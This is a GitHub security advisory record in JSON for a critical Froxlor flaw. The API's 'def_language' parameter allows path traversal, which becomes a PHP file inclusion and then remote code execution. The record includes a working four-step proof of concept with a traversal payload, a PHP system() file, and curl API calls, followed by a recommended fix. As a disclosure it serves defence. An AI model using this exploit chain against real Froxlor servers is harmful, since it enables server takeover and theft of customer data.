{"id":"GHSA-w59f-67xm-rxx7","summary":"Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution","details":"## Summary\n\nThe Froxlor API endpoint `Customers.update` (and `Admins.update`) does not validate the `def_language` parameter against the list of available language files. An authenticated customer can set `def_language` to a path traversal payload (e.g., `../../../../../var/customers/webs/customer1/evil`), which is stored in the database. On subsequent requests, `Language::loadLanguage()` constructs a file path using this value and executes it via `require`, achieving arbitrary PHP code execution as the web server user.\n\n## Details\n\n**Root cause:** The API and web UI have inconsistent validation for the `def_language` parameter.\n\nThe **web UI** (`customer_index.php:261`, `admin_index.php:265`) correctly validates `def_language` against `Language::getLanguages()`, which scans the `lng/` directory for actual language files:\n\n```php\n// customer_index.php:260-265\n$def_language = Validate::validate(Request::post('def_language'), 'default language');\nif (isset($languages[$def_language])) {\n    Customers::getLocal($userinfo, [\n        'id' =\u003e $userinfo['customerid'],\n        'def_language' =\u003e $def_language\n    ])-\u003eupdate();\n```\n\nThe **API** (`Customers.php:1207`, `Admins.php:600`) only runs `Validate::validate()` with the default regex `/^[^\\r\\n\\t\\f\\0]*$/D`, which permits path traversal sequences:\n\n```php\n// Customers.php:1167-1172 (customer branch)\n} else {\n    // allowed parameters\n    $def_language = $this-\u003egetParam('def_language', true, $result['def_language']);\n    ...\n}\n// Customers.php:1207 - validation (shared by admin and customer paths)\n$def_language = Validate::validate($def_language, 'default language', '', '', [], true);\n```\n\nThe tainted value is stored in the `panel_customers` (or `panel_admins`) table. On every subsequent request, it is loaded and used in two paths:\n\n**API path** (`ApiCommand.php:218-222`):\n```php\nprivate function initLang()\n{\n    Language::setLanguage(Settings::Get('panel.standardlanguage'));\n    if ($this-\u003egetUserDetail('language') !== null && isset(Language::getLanguages()[$this-\u003egetUserDetail('language')])) {\n        Language::setLanguage($this-\u003egetUserDetail('language'));\n    } elseif ($this-\u003egetUserDetail('def_language') !== null) {\n        Language::setLanguage($this-\u003egetUserDetail('def_language')); // No validation\n    }\n}\n```\n\n**Web path** (`init.php:180-185`):\n```php\nif (CurrentUser::hasSession()) {\n    if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) {\n        Language::setLanguage(CurrentUser::getField('language'));\n    } else {\n        Language::setLanguage(CurrentUser::getField('def_language')); // No validation\n    }\n}\n```\n\nThe `language` session field is `null` for API requests and empty on fresh web logins, so both paths fall through to the unvalidated `def_language`.\n\n**File inclusion** (`Language.php:89-98`):\n```php\nprivate static function loadLanguage($iso): array\n{\n    $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);\n    if (!file_exists($languageFile)) {\n        return [];\n    }\n    $lng = require $languageFile;  // Arbitrary PHP execution\n```\n\nWith `$iso = '../../../../../var/customers/webs/customer1/evil'`, the path resolves to `/var/customers/webs/customer1/evil.lng.php`, escaping the `lng/` directory.\n\n## PoC\n\n**Step 1 — Upload malicious language file via FTP:**\n\nFroxlor customers have FTP access to their web directory by default (`api_allowed` defaults to `1` in the schema).\n\n```bash\n# Create malicious .lng.php file\necho '\u003c?php system(\"id \u003e /tmp/pwned\"); return [];' \u003e evil.lng.php\n\n# Upload to customer web directory via FTP\nftp panel.example.com\n\u003e put evil.lng.php\n```\n\nThe file is now at `/var/customers/webs/\u003cloginname\u003e/evil.lng.php`.\n\n**Step 2 — Set traversal payload via API:**\n\n```bash\ncurl -s -X POST https://panel.example.com/api \\\n  -H 'Authorization: Basic \u003cbase64(apikey:apisecret)\u003e' \\\n  -d '{\"command\":\"Customers.update\",\"params\":{\"def_language\":\"../../../../../var/customers/webs/customer1/evil\"}}'\n```\n\nThe traversal path is stored in the database. The `.lng.php` suffix is appended automatically by `Language::loadLanguage()`.\n\n**Step 3 — Trigger inclusion on next API call:**\n\n```bash\ncurl -s -X POST https://panel.example.com/api \\\n  -H 'Authorization: Basic \u003cbase64(apikey:apisecret)\u003e' \\\n  -d '{\"command\":\"Customers.get\"}'\n```\n\n`ApiCommand::initLang()` loads `def_language` from the database and passes it to `Language::setLanguage()` → `loadLanguage()` → `require /var/customers/webs/customer1/evil.lng.php`.\n\n**Step 4 — Verify execution:**\n\n```bash\ncat /tmp/pwned\n# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\nAn authenticated customer can execute arbitrary PHP code as the web server user. This enables:\n\n- **Full server compromise:** Read `lib/userdata.inc.php` to obtain database credentials, then access all customer data, admin credentials, and server configuration.\n- **Lateral movement:** Access other customers' databases, email, and files from the shared hosting environment.\n- **Persistent backdoor:** Modify Froxlor source files or cron configurations to maintain access.\n- **Data exfiltration:** Read all hosted databases and email content across the panel.\n\nThe attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (`api_allowed` = 1). The `.lng.php` suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.\n\n## Recommended Fix\n\nValidate `def_language` against the actual language file list in the API endpoints, matching the web UI behavior:\n\n```php\n// In Customers.php, replace line 1207:\n// $def_language = Validate::validate($def_language, 'default language', '', '', [], true);\n\n// With:\n$def_language = Validate::validate($def_language, 'default language', '', '', [], true);\nif (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) {\n    $def_language = Settings::Get('panel.standardlanguage');\n}\n```\n\nApply the same fix in `Admins.php` at line 600.\n\nAdditionally, add a defensive check in `Language::loadLanguage()` to prevent path traversal:\n\n```php\nprivate static function loadLanguage($iso): array\n{\n    // Reject path traversal attempts\n    if ($iso !== basename($iso) || str_contains($iso, '..')) {\n        return [];\n    }\n    $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);\n    // ...\n}\n```","aliases":["CVE-2026-41228"],"modified":"2026-05-05T16:26:36.618546Z","published":"2026-04-16T01:02:12Z","database_specific":{"nvd_published_at":"2026-04-23T04:16:19Z","cwe_ids":["CWE-98"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-04-16T01:02:12Z"},"references":[{"type":"WEB","url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-w59f-67xm-rxx7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41228"},{"type":"WEB","url":"https://github.com/froxlor/froxlor/commit/bc5e6dbaa90e6f3573129da640595e8c770e1d0c"},{"type":"PACKAGE","url":"https://github.com/froxlor/froxlor"},{"type":"WEB","url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6"}],"affected":[{"package":{"name":"froxlor/froxlor","ecosystem":"Packagist","purl":"pkg:composer/froxlor/froxlor"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.3.6"}]}],"versions":["0.10.0","0.10.0-rc1","0.10.0-rc2","0.10.1","0.10.10","0.10.11","0.10.12","0.10.13","0.10.14","0.10.15","0.10.16","0.10.17","0.10.18","0.10.19","0.10.2","0.10.20","0.10.21","0.10.22","0.10.23","0.10.23.1","0.10.24","0.10.25","0.10.26","0.10.27","0.10.28","0.10.29","0.10.29.1","0.10.3","0.10.30","0.10.31","0.10.32","0.10.33","0.10.34","0.10.34.1","0.10.35","0.10.35.1","0.10.36","0.10.37","0.10.38","0.10.38.1","0.10.38.2","0.10.38.3","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.10.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.21","2.0.22","2.0.23","2.0.24","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.1.0","2.1.0-beta1","2.1.0-beta2","2.1.0-rc1","2.1.0-rc2","2.1.0-rc3","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","2.2.0","2.2.0-rc1","2.2.0-rc2","2.2.0-rc3","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.2.6","2.2.7","2.2.8","2.3.0","2.3.0-rc1","2.3.1","2.3.2","2.3.3","2.3.4","2.3.5"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.3.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w59f-67xm-rxx7/GHSA-w59f-67xm-rxx7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"}]}